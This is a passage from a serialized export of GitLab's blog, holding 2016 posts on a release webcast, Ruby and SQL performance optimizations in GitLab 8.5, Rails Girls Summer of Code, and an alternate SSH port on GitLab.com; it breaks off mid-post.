playing!\n",{"slug":38825,"featured":6,"template":678},"gitlab-swag-shop-opened","content:en-us:blog:gitlab-swag-shop-opened.yml","Gitlab Swag Shop Opened","en-us/blog/gitlab-swag-shop-opened.yml","en-us/blog/gitlab-swag-shop-opened",{"_path":38831,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38832,"content":38837,"config":38841,"_id":38843,"_type":16,"title":38844,"_source":17,"_file":38845,"_stem":38846,"_extension":20},"/en-us/blog/webcast-wrapup",{"title":38833,"description":38834,"ogTitle":38833,"ogDescription":38834,"noIndex":6,"ogImage":38196,"ogUrl":38835,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38835,"schema":38836},"GitLab 8.5 Release Webcast and step-by-step GitLab workflow","In our latest webcast, we highlighted the new features in GitLab 8.5. This was a really feature-packed release.","https://about.gitlab.com/blog/webcast-wrapup","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 8.5 Release Webcast and step-by-step GitLab workflow\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather McNamee\"}],\n        \"datePublished\": \"2016-02-26\",\n      }",{"title":38833,"description":38834,"authors":38838,"heroImage":38196,"date":38839,"body":38840,"category":299},[38561],"2016-02-26","\n\nIn our latest webcast, we highlighted the new features in [GitLab 8.5](/releases/2016/02/22/gitlab-8-5-released/).\nThis was a really feature-packed release.\n\n[Job van der Voort] gave a step-by-step tutorial of a workflow with GitLab.\nThis highlighted some of the new features in the context of collaboration.\nIf you're brand new to GitLab this is a quick introduction to how it works.\n\nSign up to our [newsletter](/company/contact/#newsletter)\nto find out about the next screencast!\n\n\u003C!-- more -->\n\nIn this webcast:\n\n- Walk-through: [GitLab 8.5 features](/releases/2016/02/22/gitlab-8-5-released)\n- Sidebar UI improvements\n- Todos list\n- Revert any Commit\n- GitLab Geo Alpha (EE)\n- Step by step: GitLab workflow in practice and GitLab Flow ([skip ahead](https://youtu.be/MGH7TdZA9Rg?t=1225))\n- Community news! ([skip ahead](https://youtu.be/MGH7TdZA9Rg?t=2643))\n- Q&A: Questions from webcast attendees answered live\n\n## Webcast Recording\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/MGH7TdZA9Rg\" frameborder=\"0\" allowfullscreen>\u003C/iframe>\n\n## Webcast Slides\n\n\u003Cscript async class=\"speakerdeck-embed\" data-id=\"4e2cf464498d4e8cbd1def66de6d450c\" data-ratio=\"1.77777777777778\" src=\"//speakerdeck.com/assets/embed.js\">\u003C/script>\n\n## Love webcasts? Wondering how to make the most of Git at your organization?\n\n[Sign up for our webcast](http://ow.ly/YMvsM) in partnership with Perforce!\n\n[Job van der Voort], VP of Product will be presenting with Matt Attaway, VP of\nCommunity from Perforce. They will discuss managing Git teams/projects; issue tracking & wikis;\nintegrating CI into dev; integration testing and advantages of the mono repo.\n\nThere are two timeslots, but [sign up anyway](http://ow.ly/YMvsM), and you can get the on-demand link to watch anytime.\n\n- Wed, March 2nd, 3 pm GMT | 7am PT\n- Wed, March 2nd 10 am PT | 1pm ET\n\n## Feedback welcome!\n\nThere were lots of feature proposals in the Q+A this time.\nWe couldn't address them all, but if you do have a feature proposal,\nplease check out the project tracker for\n[GitLab CE](https://gitlab.com/gitlab-org/gitlab-ce/issues) or\n[GitLab EE](https://gitlab.com/gitlab-org/gitlab-ee/issues), and see if someone\nhas already posted a similar idea.\nYou can vote on feature proposals which you like, and that helps us prioritize.\nIf you don't find an existing proposal, please add one!\n\nWe develop completely in the open so if you want to know how to find out what\nwe're working on and planning, check out my post about [locating issues and finding the roadmap](/blog/future-direction-gitlab/) of development at GitLab.\n\nYou can of course leave comments, attendees of the webcast will receive a survey form via email.\n\n[Job van der Voort]: https://twitter.com/Jobvo\n",{"slug":38842,"featured":6,"template":678},"webcast-wrapup","content:en-us:blog:webcast-wrapup.yml","Webcast Wrapup","en-us/blog/webcast-wrapup.yml","en-us/blog/webcast-wrapup",{"_path":38848,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38849,"content":38854,"config":38858,"_id":38860,"_type":16,"title":38861,"_source":17,"_file":38862,"_stem":38863,"_extension":20},"/en-us/blog/making-gitlab-faster",{"title":38850,"description":38851,"ogTitle":38850,"ogDescription":38851,"noIndex":6,"ogImage":12013,"ogUrl":38852,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38852,"schema":38853},"Making GitLab Faster","In GitLab 8.5 we shipped numerous performance improvements. In this article we'll take a look at some of these changes and the process involved in finding and resolving these issues.","https://about.gitlab.com/blog/making-gitlab-faster","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Making GitLab Faster\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Yorick Peterse\"}],\n        \"datePublished\": \"2016-02-25\",\n      }",{"title":38850,"description":38851,"authors":38855,"heroImage":12013,"date":38856,"body":38857,"category":734},[27838],"2016-02-25","\nIn GitLab 8.5 we shipped numerous performance improvements. In this article\nwe'll take a look at some of these changes and the process involved in finding\nand resolving these issues. In particular we'll look at the following merge\nrequests:\n\n* [Optimize fetching issues closed by a merge request][mr2625]\n* [Improve performance of retrieving last update times for events][mr2613]\n* [Only set autocrlf when creating/updating files][mr2859]\n\n\u003C!--more-->\n\n## Performance Monitoring & Tooling\n\nWithout a proper production performance monitoring system and a good set of\ntools it's nearly impossible to find and resolve performance problems. GitLab\ncomes with two systems to make it possible to measure application performance:\n\n* [GitLab Performance Monitoring][monitoring]: a monitoring system using\n  [InfluxDB][influxdb] to track application performance of production\n  environments (though you can also use it during development). Data is then\n  visualized using [Grafana][grafana], though users can use any software capable\n  of extracting data from InfluxDB.\n* Sherlock: a development only monitoring system. Due to the overhead of\n  Sherlock it's not suitable for production environments. For example, Sherlock\n  uses [rblineprof][rblineprof] to track execution timings on a per line basis\n  but this adds quite a bit of overhead.\n\nAnother very useful library is [benchmark-ips][benchmark-ips]. This library can\nbe used to measure the performance of snippets of code while taking care of\nwarming up any caches, Just In Time compilers, etc. For more information see the\n[benchmark-ips README][benchmark-ips-readme].\n\n### Limitations of Benchmarks\n\nWhile we're on the topic of benchmarks it's worth mentioning that benchmarks are\nonly really useful to see the impact of a certain change. For example, if\nbenchmark X can run Y iterations in a certain time period this gives you no\ninsight in how this will perform in a production environment; all it indicates\nis that it can run a certain number of iterations. However, when a certain\nchange results in the benchmark now completing twice as fast things start\ngetting interesting. While we still don't really know how the change will affect\nour production environment we at least know that in the most ideal case\nperformance will be twice as fast.\n\nIn short, just benchmarks aren't enough; you always have to measure (and _keep_\nmeasuring) the performance of code in a production environment. This may seem\nlike common knowledge but a few too many projects out there make bold claims\nabout their performance based solely on a set of benchmarks.\n\nWith that out of the way, let's get started.\n\n## Optimize fetching issues closed by a merge request\n\nCommit messages can be used to automatically close issues by adding the text\n\"Fixes #X\" or \"Closes #X\" to a commit message (where X refers to an issue ID).\nIn turn each merge request shows the list of issues that will be closed whenever\nthe merge request is merged. The description of a merge request can also include\ninclude text such as \"Fixes #X\" to close issues. In other words, the list of\nissues to close is a set composed out of the issues to close as extracted from\nthe commit messages and the issues to close as extracted from the merge\nrequest's description.\n\nWhich brings us to the method `MergeRequest#closes_issues`. This method is used\nto return the list of issues to close (as an Array of `Issue` instances). If we\nlook at the performance of this method over time we see the following:\n\n![MergeRequest#closes_issues Timings][mr2625-timings]\n\nThe small gap at the start of the graph is due to monitoring data only being\nretained for 30 days.\n\nTo summarize the timings:\n\n* A mean of around 500 milliseconds\n* A 95th percentile between 1 and 1.5 seconds\n* A 99th percentile between 1.5 and 2 seconds\n\n2 seconds (in the worst case) to retrieve a list of issues to close is not\nacceptable so it was clear there was some work to be done.\n\nPrior to 8.5 this method was implemented as the following:\n\n    def closes_issues(current_user = self.author)\n       if target_branch == project.default_branch\n         issues = commits.flat_map { |c| c.closes_issues(current_user) }\n         issues.push(*Gitlab::ClosingIssueExtractor.new(project, current_user).\n                    closed_by_message(description))\n         issues.uniq(&:id)\n       else\n         []\n       end\n    end\n\nWhen the target branch of a merge request equals the project's default branch\nthis method takes the following steps:\n\n1. For every commit in the merge request, grab the issues that should be closed\n   when the merge request is merged.\n2. Append the list of issues to close based on the merge request's description\n   to the list of issues created in step 1.\n3. Remove any duplicate issues (based on the issue IDs) from the resulting list.\n\nWhat stood out here is the following line:\n\n    issues = commits.flat_map { |c| c.closes_issues(current_user) }\n\nFor every commit the method `Commit#closes_issues` would be called, which in\nturn was implemented as the following:\n\n    def closes_issues(current_user = self.committer)\n      Gitlab::ClosingIssueExtractor.new(project, current_user).closed_by_message(safe_message)\n    end\n\nFurther digging revealed that `Gitlab::ClosingIssueExtractor#closed_by_message`\nwould perform two steps:\n\n1. Extract the referenced issue IDs from a String\n2. Run a database query to return a list of corresponding `Issue` objects\n\nNote that the above steps would be performed for _every_ commit in a merge\nrequest, regardless of whether a commit would actually reference an issue or\nnot. As such the more commits a merge request would contain the slower things\nwould get.\n\nIf we look at how `Gitlab::ClosingIssueExtractor#closed_by_message` is\nimplemented and used we see that it operates on a single String and doesn't\nreally care what it contains or where it comes from as long as it contains\nreferences to issue IDs:\n\n    def closed_by_message(message)\n      return [] if message.nil?\n\n      closing_statements = []\n      message.scan(ISSUE_CLOSING_REGEX) do\n        closing_statements \u003C\u003C Regexp.last_match[0]\n      end\n\n      @extractor.analyze(closing_statements.join(\" \"))\n\n      @extractor.issues\n    end\n\nThis got me thinking: what if we concatenate all commit messages together and\npass the resulting String to `Gitlab::ClosingIssueExtractor#closed_by_message`?\nDoing so would mean performance is no longer affected by the amount of commits\nin a merge request.\n\nTo test this I wrote a benchmark to compare the old setup versus the idea I was\ngoing for:\n\n    require 'benchmark/ips'\n\n    project = Project.find_with_namespace('gitlab-org/gitlab-ce')\n    user    = User.find_by_username('yorickpeterse')\n    commits = ['Fixes #1', 'Fixes #2', 'Fixes #3']\n    desc    = 'This MR fixes #1 #2 #3'\n\n    Benchmark.ips do |bench|\n      # A somewhat simplified version of the old code (excluding any actual\n      # commit/merge request objects).\n      bench.report 'old' do\n        issues = commits.flat_map do |message|\n          Gitlab::ClosingIssueExtractor.new(project, user).\n            closed_by_message(message)\n        end\n\n        issues.push(*Gitlab::ClosingIssueExtractor.new(project, user).\n                   closed_by_message(desc))\n\n        issues.uniq(&:id)\n      end\n\n      # The new code\n      bench.report 'new' do\n        messages = commits + [desc]\n\n        Gitlab::ClosingIssueExtractor.new(project, user).\n          closed_by_message(messages.join(\"\\n\"))\n      end\n\n      bench.compare!\n    end\n\nWhen running this benchmark we get the following output:\n\n    Calculating -------------------------------------\n                     old     1.000  i/100ms\n                     new     1.000  i/100ms\n    -------------------------------------------------\n                     old      1.377  (± 0.0%) i/s -      7.000\n                     new      2.807  (± 0.0%) i/s -     15.000  in   5.345900s\n\n    Comparison:\n                     new:        2.8 i/s\n                     old:        1.4 i/s - 2.04x slower\n\nSo in this benchmark alone the new code is around 2 times faster than the old\ncode. The actual number of iterations isn't very relevant, we just want to know\nif we're on the right track or not.\n\nRunning the test suite showed no tests were broken by these changes so it was\ntime to set up a merge request and deploy this to GitLab.com (and of course\ninclude it in the next release, 8.5 in this case) to see the impact in a\nproduction environment. The merge request for this was [\"Optimize fetching\nissues closed by a merge request\"][mr2625]. These changes were deployed around\nthe 12th of February and we can see the impact on GitLab.com in the following\ngraph:\n\n![MergeRequest#closes_issues Timings][mr2625-timings]\n\nThat's right, we went from timings between 0.5 and 2.5 seconds to timings of\nless than 15 milliseconds (method call timings below 15 milliseconds are not\ntracked). Ship it!\n\n## Improve performance of retrieving last update times for events\n\nFor certain activity feeds we provide Atom feeds that users can subscribe to.\nFor example \u003Chttps://gitlab.com/yorickpeterse.atom> provides an Atom feed of\nmy public GitLab.com activity. The feed is built by querying a list of records\nfrom the database called \"events\". The SQL query is rather large as the list of\nevents to return is based on the projects a user has access to (in case of user\nactivity feeds). For example, for my own user profile the query would be as\nfollowing:\n\n    SELECT events.*\n    FROM events\n    LEFT OUTER JOIN projects ON projects.id = events.project_id\n    LEFT OUTER JOIN namespaces ON namespaces.id = projects.namespace_id\n    WHERE events.author_id IS NOT NULL\n    AND events.author_id = 209240\n    AND (\n        projects.id IN (\n            SELECT projects.id\n            FROM projects\n            WHERE projects.id IN (\n                -- All projects directly owned by a user.\n                SELECT projects.id\n                FROM projects\n                INNER JOIN namespaces ON projects.namespace_id = namespaces.id\n                WHERE namespaces.owner_id = 209240\n                AND namespaces.type IS NULL\n\n                UNION\n\n                -- All projects of the groups a user is a member of\n                SELECT projects.id\n                FROM projects\n                INNER JOIN namespaces ON projects.namespace_id = namespaces.id\n                INNER JOIN members ON namespaces.id = members.source_id\n                WHERE namespaces.type IN ('Group')\n                AND members.type IN ('GroupMember')\n                AND members.source_type = 'Namespace'\n                AND members.user_id = 209240\n\n                UNION\n\n                -- All projects (that don't belong to one of the groups of a\n                -- user) a user is a member of\n                SELECT projects.id\n                FROM projects\n                INNER JOIN members ON projects.id = members.source_id\n                WHERE members.type IN ('ProjectMember')\n                AND members.source_type = 'Project'\n                AND members.user_id = 209240\n            )\n\n            UNION\n\n            -- All publicly available projects, regardless of whether we still\n            -- have access or not.\n            SELECT projects.id\n            FROM projects\n            WHERE projects.visibility_level IN (20, 10)\n        )\n    )\n    ORDER BY events.id DESC;\n\nThis particular query is quite the behemoth but currently this is the easiest\nway of getting a list of events for projects a user has access to.\n\nOne of the bits of information provided by an Atom feed is a timestamp\nindicating the time the feed was updated. This timestamp was generated using the\nmethod `Event.latest_update_time` which would take a collection of events and\nreturn the most recent update time. This method was implemented as the following:\n\n    def latest_update_time\n      row = select(:updated_at, :project_id).reorder(id: :desc).take\n\n      row ? row.updated_at : nil\n    end\n\nThis method is broken up in two steps:\n\n1. Order the collection in descending order, take the first record\n2. If there was a record return the `updated_at` value, otherwise return `nil`\n\nThis method was then used as the following in the Atom feed (here `xml.updated`\nwould generate an `\u003Cupdated>` XML element):\n\n    xml.updated @events.latest_update_time.xmlschema if @events.any?\n\nPerformance of this method was less than stellar (the blue bars are the timings\nof `Event.latest_update_time`):\n\n![Event.latest_update_time Timings][mr2613-timings]\n\nIn this graph we can see the timings quite often hover around 10 seconds. That's\n10 seconds _just_ to get the latest update time from the database. Ouch!\n\nAt first I started messing around with using the SQL `max()` function instead of\na combination of `ORDER BY` and `LIMIT 1`. We were using this in the past and I\nexplicitly removed it because it was performing worse at the time. Since quite a\nbit changed since then I figured it was worth re-investigating the use of this\nfunction. The process of looking into this as well as my findings can be found\nin issue [12415](https://gitlab.com/gitlab-org/gitlab-ce/issues/12415).\n\nA couple of days after I first started looking into this issue I realized there\nwas a far easier solution to this problem. Since retrieving the list of events\nitself (without using the above code) is already quite fast and is already\nsorted in the right order we can simply re-use this list. That is, we'd take the\nfollowing steps:\n\n1. Query the list of events.\n2. Cast the list of events from an ActiveRecord query result to an Array (this\n   is done anyway later on as we have to generate XML for every event).\n3. Take the `updated_at` value of the first event in this list, if present.\n\nThis led to merge request\n[\"Improve performance of retrieving last update times for events\"][mr2613]. This\nmerge request also contains a few other changes so certain records aren't loaded\ninto memory when not needed, but the gist of it is that instead of this:\n\n    xml.updated @events.latest_update_time.xmlschema if @events.any?\n\nWe now use this:\n\n    xml.updated @events[0].updated_at.xmlschema if @events[0]\n\nAs a result of this the method `Event.latest_update_time` was no longer needed\nand thus was removed. This in turn drastically reduced the loading times of all\nAtom feeds (not just user feeds).\n\n## Only set autocrlf when creating/updating files\n\nGit has an option called `core.autocrlf` which can be used to automatically\nconvert line endings in text files. This option can be set to 3 values:\n\n1. `true`: CRLF line endings are always converted to LF line endings\n2. `false`: no conversion takes place\n3. `input`: converts CRLF line endings to LF upon committing changes\n\nGitLab supports 3 ways of committing changes to a Git repository:\n\n1. Via a Git client\n2. Via the web editor\n3. Via the API\n\nIn the last 2 cases we want to make sure CRLF line endings are replaced with LF\nline endings. For example, browsers use CRLF even on non Windows platforms. To\ntake care of this our documentation recommends users to configure Git to set\n`core.autocrlf` to `input`, however we still need to take care of this ourselves\nin case a user didn't configure Git to convert line endings by default. This\nprocess took place in a method called `Repository#raw_repository` which was\nimplemented as the following:\n\n    def raw_repository\n      return nil unless path_with_namespace\n\n      @raw_repository ||= begin\n        repo = Gitlab::Git::Repository.new(path_to_repo)\n        repo.autocrlf = :input\n        repo\n      rescue Gitlab::Git::Repository::NoRepository\n        nil\n      end\n    end\n\nThis particular method is used in quite a number of places and is used on almost\nevery (if not every) project-specific page (issues, milestones, the project\nhomepage, etc). Performance of this method was, well, bad:\n\n![Gitlab::Git::Repository#autocrlf= Timings][mr2859-bars]\n\nThis particular graph plots the 95th percentile of the method\n`Gitlab::Git::Repository#autocrlf=` which is used to set the `core.autocrlf`\noption. We can see that on average the 95th percentile hovers around 500\nmilliseconds. That's 500 milliseconds on almost every page to set a Git option\nthat's already set 99% of the time. More importantly, that's 500 milliseconds of\ntime wasted on many pages where no changes are ever written to a Git repository,\nthus never using this option.\n\nIt's clear that we _don't_ want to run this on every page, especially when the\noption is not going to be used. However, we still have to make sure this option\nis set when we _do_ need it. At this point my first thought was to see the\noverhead of always writing this option versus only writing this when actually\nneeded. In Ruby code this would roughly translate to:\n\n    repo = Gitlab::Git::Repository.new(path_to_repo)\n\n    # Only set autocrlf to :input if it's not already set to :input\n    repo.autocrlf = :input unless repo.autocrlf == :input\n\nThe idea was that when sharing a disk over the network (e.g. via an NFS server)\na read is probably much faster than a write. A write may also end up locking\nfiles for the duration, possibly blocking other read operations. To test this I\nwrote a script that would perform said operation a number of times and write the\ntimings to InfluxDB. This script is as the following:\n\n    require 'rugged'\n    require 'thread'\n    require 'benchmark'\n    require 'influxdb'\n\n    Thread.abort_on_exception = true\n\n    path = '/var/opt/gitlab/git-data/repositories/yorickpeterse/cat-pictures.git'\n    key  = 'core.autocrlf'\n    read = true\n\n    influx_options = { udp: { host: 'HOST', port: PORT } }\n\n    threads = 10.times.map do\n      Thread.new do\n        client = InfluxDB::Client.new(influx_options)\n\n        while read\n          time = Benchmark.measure do\n            repo = Rugged::Repository.new(path)\n\n            repo.config[key] = 'input' unless repo.config[key] == 'input'\n          end\n\n          ms = time.real * 1000\n\n          client.write_point('rugged_config_cas', values: { duration: ms })\n\n          sleep 0.05\n        end\n      end\n    end\n\n    sleep(120)\n\n    read = false\n\n    threads.each(&:join)\n\n    Rugged::Repository.new(path).config[key] = 'input'\n\nHere HOST and PORT were replaced with the hostname and port number of our\nInfluxDB server.\n\nRunning this script produced the following graph:\n\n![Timings for writing autocrlf when needed](https://about.gitlab.com/images/making_gitlab_faster/autocrlf_write_when_needed.png)\n\nNext I modified this script to simply always write the autocrlf option, this\nproduced the following graph:\n\n![Timings for always writing autocrlf](https://about.gitlab.com/images/making_gitlab_faster/autocrlf_always_write.png)\n\nFinally I modified the script to simply load the repository as-is, this produced\nthe following graph:\n\n![Timings for only reading](https://about.gitlab.com/images/making_gitlab_faster/autocrlf_read_only.png)\n\nIn all 3 cases we can see there's not really a clear difference in timings,\nleading me to believe there's no particular benefit to only writing the option\nwhen not already set to \"input\".\n\nI spent some more time trying out different things to see how they would impact\nperformance but sadly didn't get much out of it. The details can be found in the\nvarious comments for [issue 13457](https://gitlab.com/gitlab-org/gitlab-ce/issues/13457).\n\nA day later I and [Jacob Vosmaer][jacob] decided to double check the idea of\nwriting only when needed by applying a small patch to GitLab.com. This patch\nmodified `Repository#raw_repository` to the autocrlf option would only be\nwritten when needed just like the script above. We also made sure to measure the\ntimings of both reading and writing this option. After deploying this patch and\nwaiting for about half an hour to get enough data the timings were as the\nfollowing:\n\n![autocrlf reads vs writes](https://about.gitlab.com/images/making_gitlab_faster/autocrlf_reads_vs_writes.png)\n\nThis graph shows a nice drop in timings for writing the autocrlf option, sadly\nat the cost of an increase in timings for reading the autocrlf option. In other\nwords, this change didn't actually solve anything but instead just moved the\nproblem from writing an option to just reading the option.\n\nAfter discussing this with Jacob he suggested it may be an even better idea to\nonly set this option where we actually need it to, instead of checking (and\npotentially writing) it on every page that happens to use\n`Repository#raw_repository`. After all, the best way to speed code up is to\nremove it entirely (or at least as much as possible).\n\nThis lead to merge request\n[\"Only set autocrlf when creating/updating files\"][mr2859] which does exactly\nthat. The impact of this change can be seen in the following graph:\n\n![Merge Request Timings Impact](https://about.gitlab.com/images/making_gitlab_faster/autocrlf_timings_impact.png)\n\nThis graph shows the 95th percentile, 99th percentile, and the mean per 30\nminutes. The drop around the 20th is after the above merge request was deployed\nto GitLab.com. The changes in this merge request resulted in the timings going\nfrom between 70 milliseconds and 2.1 seconds to less than 15 milliseconds.\n\n## Conclusion\n\nIn this article I only highlighted 3 merge requests that made it into 8.5.0. The\nfollowing performance related merge requests are also included in 8.5.0:\n\n* [First pass at deleting projects in the background](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/2569)\n* [Background process note logic](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/2631)\n* [Page project list on dashboard](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/2689)\n* [Cache BroadcastMessage.current](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/2633)\n* [Smarter flushing of branch statistics caches](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/2769)\n* [Cache various Repository Git operations](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/2752)\n* [Dedicated method for counting commits between refs](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/2707)\n\nThese are just a few of the performance changes we've made over the past few\nmonths, and they certainly won't be the last as there's still a lot of work to\nbe done.\n\n[mr2625]: https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/2625\n[mr2625-timings]: /images/making_gitlab_faster/merge_request_closes_issues.png\n[mr2613]: https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/2613\n[mr2613-timings]: /images/making_gitlab_faster/event_latest_update_time.png\n[mr2859]: https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/2859\n[mr2859-bars]: /images/making_gitlab_faster/gitlab_git_repository_autocrlf_bars.png\n[monitoring]: http://doc.gitlab.com/ce/monitoring/performance/introduction.html\n[influxdb]: https://influxdata.com/time-series-platform/influxdb/\n[grafana]: http://grafana.org/\n[rblineprof]: https://github.com/peek/peek-rblineprof\n[benchmark-ips]: https://github.com/evanphx/benchmark-ips\n[benchmark-ips-readme]: https://github.com/evanphx/benchmark-ips/blob/master/README.md\n[jacob]: https://gitlab.com/jacobvosmaer\n",{"slug":38859,"featured":6,"template":678},"making-gitlab-faster","content:en-us:blog:making-gitlab-faster.yml","Making Gitlab Faster","en-us/blog/making-gitlab-faster.yml","en-us/blog/making-gitlab-faster",{"_path":38865,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38866,"content":38872,"config":38876,"_id":38878,"_type":16,"title":38879,"_source":17,"_file":38880,"_stem":38881,"_extension":20},"/en-us/blog/rails-girls-summer-of-code-2016",{"title":38867,"description":38868,"ogTitle":38867,"ogDescription":38868,"noIndex":6,"ogImage":38869,"ogUrl":38870,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38870,"schema":38871},"Rails Girls Summer of Code 2016","We're delighted to announce that GitLab Community Edition has been accepted as a project for the upcoming Rails Girls Summer of Code.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684595/Blog/Hero%20Images/programmer1.jpg","https://about.gitlab.com/blog/rails-girls-summer-of-code-2016","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Rails Girls Summer of Code 2016\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Yorick Peterse\"}],\n        \"datePublished\": \"2016-02-23\",\n      }",{"title":38867,"description":38868,"authors":38873,"heroImage":38869,"date":38874,"body":38875,"category":299},[27838],"2016-02-23","\n\nWe're delighted to announce that GitLab Community Edition has been accepted as a\nproject for the upcoming Rails Girls Summer of Code. Students will be working on\nimproving GitLab not only for [GitLab.com](https://gitlab.com) but for all GitLab users, be it\nindividuals or large corporations such as SpaceX, NASA, CERN, and IBM. A regular\nrelease interval means changes made by students will be available quickly,\ninstead of waiting in a queue for months.\n\n\u003C!--more-->\n\nTo make it easier for beginners to start certain issues are tagged with the\n[\"up-for-grabs\"][up-for-grabs] label. This label is used whenever an issue is\neasy enough for a beginner to work on. Other tasks may be worked on as well\ndepending on the amount of work, time, and experience of the students.\n\nTo ensure enough coaches are available we're aiming to have at least 2 coaches\nper student, ideally as close to the students as possible. However, the\nlogistics surrounding this won't be finalized until we know more about the\nlocation of the students. I myself have coached Rails Girls teams in the past\nand will be helping out this year as well.\n\nStudents are expected to have basic knowledge of both Ruby and Git. Coaches will\nhelp students with GitLab specifics such as setting up GitLab Community Edition.\n\nThe preferred location for students would be either the Americas or Europe as\nthe coaches involved are based in these continents. Students based in (or close\nto) Amsterdam, The Netherlands will also have the ability to meet with coaches\nin person if needed.\n\nStudents interested in working on GitLab should take a look at the\n[Rails Girls Summer of Code project page][project-page] as well as the\n[\"Application Guide\"][team-application-guide]. Those interested in helping\nout as a coach can take a look at the [\"Becoming a Coach\" guide][coach-guide].\n\n## Support Rails Girls Summer of Code\n\nWe're also proud to be [sponsors][sponsors] of this year's Summer of Code. Those\ninterested in sponsoring this year's Summer of code as well should take a look\nat the [crowdfunding campaign][campaign] which is now open!\n\nThe money raised by this campaign is used to help support teams and\nparticipants with full time scholarships.\n\n![Rails Girls Summer of Code](https://about.gitlab.com/images/blogimages/rgsoc_logo.png)\n\n[up-for-grabs]: https://gitlab.com/gitlab-org/gitlab-ce/issues?scope=all&sort=id_desc&state=opened&utf8=%E2%9C%93&label_name=up-for-grabs\n[project-page]: https://teams.railsgirlssummerofcode.org/projects/99-gitlab-community-edition\n[team-application-guide]: http://railsgirlssummerofcode.org/students/application/\n[coach-guide]: http://railsgirlssummerofcode.org/guide/coaching/\n[sponsors]: http://railsgirlssummerofcode.org/sponsors/\n[campaign]: http://railsgirlssummerofcode.org/blog/2016-02-23-crowdfunding-campaign-is-open\n",{"slug":38877,"featured":6,"template":678},"rails-girls-summer-of-code-2016","content:en-us:blog:rails-girls-summer-of-code-2016.yml","Rails Girls Summer Of Code 2016","en-us/blog/rails-girls-summer-of-code-2016.yml","en-us/blog/rails-girls-summer-of-code-2016",{"_path":38883,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38884,"content":38889,"config":38893,"_id":38895,"_type":16,"title":38896,"_source":17,"_file":38897,"_stem":38898,"_extension":20},"/en-us/blog/gitlab-dot-com-now-supports-an-alternate-git-plus-ssh-port",{"title":38885,"description":38886,"ogTitle":38885,"ogDescription":38886,"noIndex":6,"ogImage":38394,"ogUrl":38887,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38887,"schema":38888},"GitLab.com now supports an alternate git+ssh port","You'd be happy to know that GitLab.com now runs an alternate git+ssh port (443) which you can use whenever you are in a place where port 22 is blocked.","https://about.gitlab.com/blog/gitlab-dot-com-now-supports-an-alternate-git-plus-ssh-port","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab.com now supports an alternate git+ssh port\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Achilleas Pipinellis\"}],\n        \"datePublished\": \"2016-02-18\",\n      }",{"title":38885,"description":38886,"authors":38890,"heroImage":38394,"date":38891,"body":38892,"category":734},[35789],"2016-02-18","\n\nHave you ever tried to push changes to GitLab and gotten the error\n“port 22: Connection refused\"? The network you're connected to doesn't allow\nusing port 22 and you suddenly can't get your work done. I want to push and I\nwant to push now!\n\nYou'd be happy to know that GitLab.com now runs an alternate `git+ssh` port\n(443) which you can use whenever you are in a place where port 22 is blocked.\n\n\u003C!-- more -->\n\n## The problem\n\nIt's not uncommon that in some places the network traffic is being monitored\nand heavily firewalled, allowing only ports 80 (HTTP) and 443 (HTTPS) to be\nused.\n\nBlocking the standard SSH port is a measure that network sysadmins\noccasionally [have to take](http://serverfault.com/a/25566).\n\n## The solution\n\nLuckily for the users, there is more than one option to overcome this issue.\nOne can use a VPN, Tor or [sshuttle] to alter their network route traffic to\nbe able to use SSH.\n\nBut even then, [VPNs can be blocked][vpn-wiki] and these counter measures\nrequire some knowledge to be set up and used.\n\nThe common solution is to make the SSH daemon listen to a port that is highly\nlikely not to be firewalled, that's why many people prefer the port 443. If you\nare in a position where even port 443 is blocked, you have more serious matters\nto be concerned about.\n\nThere are three potential ways to get around this problem in GitLab. The first\nis to run the SSH server on a different port than the default 22 and\n[configure GitLab] to use that (no user interaction). The second is to run the\nSSH server on a different port and make no changes to GitLab, just instruct the\nusers to use that port in their `.ssh/config`.\n\nThere is a third option which involves port forwarding and avoids changing the\nSSH port in the instance GitLab runs. This gives you the option to have two\ndistinct usable SSH ports and is the case with GitLab.com.\n\n## How GitLab.com implements an alternate SSH port\n\nOur current infrastructure setup goes something like this:\n\n> **GitLab.com > Azure availability set > Loadbalancer (443->443, 80->80, 22->22) > HAProxy nodes -> workers**\n\nNormally you can't just simply use port 443 on the same GitLab instance because\nit runs GitLab itself, and that's assuming you are running GitLab with HTTPS\n(if not you are highly encouraged to do so). In that case, you should better\nuse a separate host which forwards port 443 to port 22 of your GitLab instance.\nYou can do this with HAProxy or any other loadbalancer, or even with IPTables.\n\nIn GitLab.com's case, we have set up a separate Azure availability set with two\nHAProxy nodes exactly the same configured as for GitLab.com. The only thing\nthat differs is the creation of a different Azure loadbalancer in that\navailability set which forwards TCP connections from port 443 to port 22.\n\nSo the new extra setup goes something like this:\n\n> **altssh.gitlab.com > Azure availability set > Loadbalancer (443->22) > HAProxy nodes (lb10,lb11) > workers**\n\n## How to use the alternate SSH connection on GitLab.com\n\nGitLab.com runs a second SSH server that listens on the commonly used port `443`,\nwhich is unlikely to be firewalled.\n\nAll you have 